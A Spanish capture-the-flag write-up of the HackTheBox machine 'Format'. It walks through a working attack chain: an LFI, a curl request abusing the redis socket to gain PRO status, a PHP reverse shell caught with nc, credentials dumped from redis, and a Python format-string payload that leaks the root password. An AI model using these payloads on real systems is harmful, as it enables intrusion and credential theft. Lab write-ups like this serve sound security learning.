Format es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Format 10.10.11.213 a /etc/hosts como format.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ nmap -sCV -oA enumeration/nmap 10.10.11.213 Nmap scan report for 10.10.11.213 Host is up (0.063s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA) | 256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA) |_ 256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.18.0 3000/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://microblog.htb:3000/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 26 13:09:12 2023 -- 1 IP address (1 host up) scanned in 16.30 seconds |
Encontramos varios puertos abiertos y un dominio nuevo, microblog.htb, así que lo añadimos al fichero hosts y procedemos a enumerar.
Enumeración
Accedemos al puerto 80 y nos redirecciona al dominio app.microblog.htb así que lo añadimos al fichero hosts y entramos
Revisamos el portal web y encontramos un enlace que nos lleva al portal del puerto 3000
Se trata de una página con gitea, y vemos el repositorio del usuario Cooper
Revisamos un poco el código y volvemos al portal del puerto 80, como no tenemos cuenta, nos creamos una y accedemos, viendo la siguiente página de creación de subdominios
Nos creamos un subodminio para probar como funciona el portal y accedemos al mismo
Hacemos una simple prueba a inyectar código javascript
Enviamos el formulario y verificamos y vemos que es vulnerable a XSS almacenado
Probamos varias cosillas por aquí, aunque sin éxito, así que vamos a interceptar la petición con burp, y después de varias pruebas, descubrimos que es vulnerable a LFI, y conseguimos el fichero passwd
Descubrimos aquí dos posibles usuarios, cooper y redis, así que volvemos al código del repositorio del usuario cooper, y descubrimos una parte interesante
Viendo el código, necesitamos convertirnos en usuario PRO con el fin de disponer de más permisos en el portal, así como la capacidad de poder subir ficheros al mismo, así que revisamos el código de la función isPro
Y en este caso, necesitaremos abusar de redis utilizando el socket del servicio para modificar el valor de la variable pro de nuestro usuario.
Para ello abusaremos del mismo gracias al envío de una petición con curl con HSET
1 |
$ curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:bytemind%20pro%20true%20a/b" |
Indicamos nuestro usuario y el valor a true de la variable pro y si recargamos en el navegador observaremos que ya lo tenemos
Como ya somos usuarios con capacidades de pro, interceptamos la petición con burp y enviaremos un fichero al directorio uploads que nos permita ejecutar una revshell en la máquina
Una vez enviada la petición, y después de algunos intentos, sólo nos queda acceder al fichero desde el navegador
1 |
http://bytemind.microblog.htb/uploads/rev.php |
Y obtendremos una shell con el usuario www-data en nuestra escucha
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.213] 37968 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Escalado al usuario cooper
Vamos a mejorar la capacidad de nuestra shell con python en primer lugar
1 2 |
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@format:~$ |
Y procedemos a enumerar el sistema.
Recordamos el servicio de redis, del cual abusamos antes, así que vamos a buscar el proceso
1 2 3 4 5 6 |
www-data@format:~$ ps aux|grep redis ps aux|grep redis redis 605 0.2 0.3 65164 15168 ? Ssl May26 0:09 /usr/bin/redis-server 127.0.0.1:0 www-data 2148 0.0 0.2 28380 10408 pts/0 S+ 00:14 0:00 redis-cli -s /run/redis/redis.sock www-data 2158 0.0 0.0 6580 640 pts/1 S+ 00:14 0:00 grep redis www-data@format:~$ |
No hay un puerto abierto, así que nos conectamos por medio del socket y enumeramos las keys
1 2 3 4 5 6 7 8 |
www-data@format:~$ redis-cli -s /run/redis/redis.sock KEYS * cooper.dooper:sites byte PHPREDIS_SESSION:rl568o2vc3t1o0d2as3l4v9rgk bytemind cooper.dooper bytemind:sites |
Obtenemos el tipo de dato de la clave del usuario cooper
1 2 |
TYPE cooper.dooper hash |
Y con HGETALL sacamos los datos
1 2 3 4 5 6 7 8 9 10 11 |
HGETALL cooper.dooper username cooper.dooper password zooperdoopercooper first-name Cooper last-name Dooper pro false |
Y obtenemos la password del usuario cooper.
Obteniendo la flag de user
Con la clave del usuario, accedemos por ssh y obtenemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ ssh cooper@format.htb The authenticity of host 'format.htb (10.10.11.213)' can't be established. ED25519 key fingerprint is SHA256:30cTQN6W3DKQMMwb5RGQA6Ie1hnKQ37/bSbe+vpYE98. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'format.htb' (ED25519) to the list of known hosts. cooper@format.htb's password: Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon May 22 20:40:36 2023 from 10.10.14.40 cooper@format:~$ id uid=1000(cooper) gid=1000(cooper) groups=1000(cooper) cooper@format:~$ cat user.txt 38xxxxxxxxxxxxxxxxxxxxxxxxxxxx7f cooper@format:~$ |
Escalado de privilegios
Ahora revisaremos la máquina, aunque en primer lugar verificamos si el usuario disponde de algún permiso elevado
1 2 3 4 5 6 7 |
cooper@format:~$ sudo -l [sudo] password for cooper: Matching Defaults entries for cooper on format: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cooper may run the following commands on format: (root) /usr/bin/license |
Vemos que podemos ejecutar como root el binario de license
1 2 |
cooper@format:~$ file /usr/bin/license /usr/bin/license: Python script, ASCII text executable |
Que se trata de un script en python, cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
#!/usr/bin/python3 import base64 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.fernet import Fernet import random import string from datetime import date import redis import argparse import os import sys class License(): def __init__(self): chars = string.ascii_letters + string.digits + string.punctuation self.license = ''.join(random.choice(chars) for i in range(40)) self.created = date.today() if os.geteuid() != 0: print("") print("Microblog license key manager can only be run as root") print("") sys.exit() parser = argparse.ArgumentParser(description='Microblog license key manager') group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username') group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username') group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key') args = parser.parse_args() r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock') secret = [line.strip() for line in open("/root/license/secret")][0] secret_encoded = secret.encode() salt = b'microblogsalt123' kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend()) encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded)) f = Fernet(encryption_key) l = License() #provision if(args.provision): user_profile = r.hgetall(args.provision) if not user_profile: print("") print("User does not exist. Please provide valid username.") print("") sys.exit() existing_keys = open("/root/license/keys", "r") all_keys = existing_keys.readlines() for user_key in all_keys: if(user_key.split(":")[0] == args.provision): print("") print("License key has already been provisioned for this user") print("") sys.exit() prefix = "microblog" username = r.hget(args.provision, "username").decode() firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode() license_key = (prefix + username + "{license.license}" + firstlast).format(license=l) print("") print("Plaintext license key:") print("------------------------------------------------------") print(license_key) print("") license_key_encoded = license_key.encode() license_key_encrypted = f.encrypt(license_key_encoded) print("Encrypted license key (distribute to customer):") print("------------------------------------------------------") print(license_key_encrypted.decode()) print("") with open("/root/license/keys", "a") as license_keys_file: license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n") #deprovision if(args.deprovision): print("") print("License key deprovisioning coming soon") print("") sys.exit() #check if(args.check): print("") try: license_key_decrypted = f.decrypt(args.check.encode()) print("License key valid! Decrypted value:") print("------------------------------------------------------") print(license_key_decrypted.decode()) except: print("License key invalid") print("") |
Revisamos que el código anterior es vulnerable a format string así que lo utilizaremos para obtener credenciales en texto plano.
En primer lugar nos conectaremos a redis y generaremos las credenciales
1 2 3 4 |
cooper@format:~$ redis-cli -s /run/redis/redis.sock redis /run/redis/redis.sock> HMSET bytemind first-name "{license.__init__.__globals__[secret_encoded]}" last-name bytemind username bytemind OK redis /run/redis/redis.sock> exit |
Y ejecutaremos el fichero de license con el usuario generado en redis
1 2 3 4 5 6 7 8 9 |
cooper@format:~$ sudo /usr/bin/license -p bytemind Plaintext license key: ------------------------------------------------------ microblogbytemind"sYPD,e~l&1tyUtgZFTSYhk?\4|l|$w5BpsU_+d_b'unCR4ckaBL3Pa$$w0rd'bytemind Encrypted license key (distribute to customer): ------------------------------------------------------ gAAAAABkcMJiOFCNQ6GALFEutSC0q20CBkeGXOmKYvqDXpzkhPNVfOgm7oE5xykEVRKtPKEPV2jezbLvLqRSg_ZNrB-9QKAsWvGmSLBP9EPt52H3DYPpwct6_j7IpcApLrUf0zbcLeufk9pXYMnMxGAGXvxAV0IzBm2F7_5MR-lrBgU14WUs98VwfkvREQBtbo3rX2OyTlhp |
En el mismo vemos unas credenciales, que serán las que utilicemos para escalar a root.
Obteniendo la flag de root
Nos conectamos a root con las credenciales generadas y vamos a por la flag.
1 2 3 4 5 6 7 |
cooper@format:~$ su root Password: root@format:/home/cooper# id uid=0(root) gid=0(root) groups=0(root) root@format:/home/cooper# root@format:/home/cooper# cat /root/root.txt a1xxxxxxxxxxxxxxxxxxxxxxxxx570 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace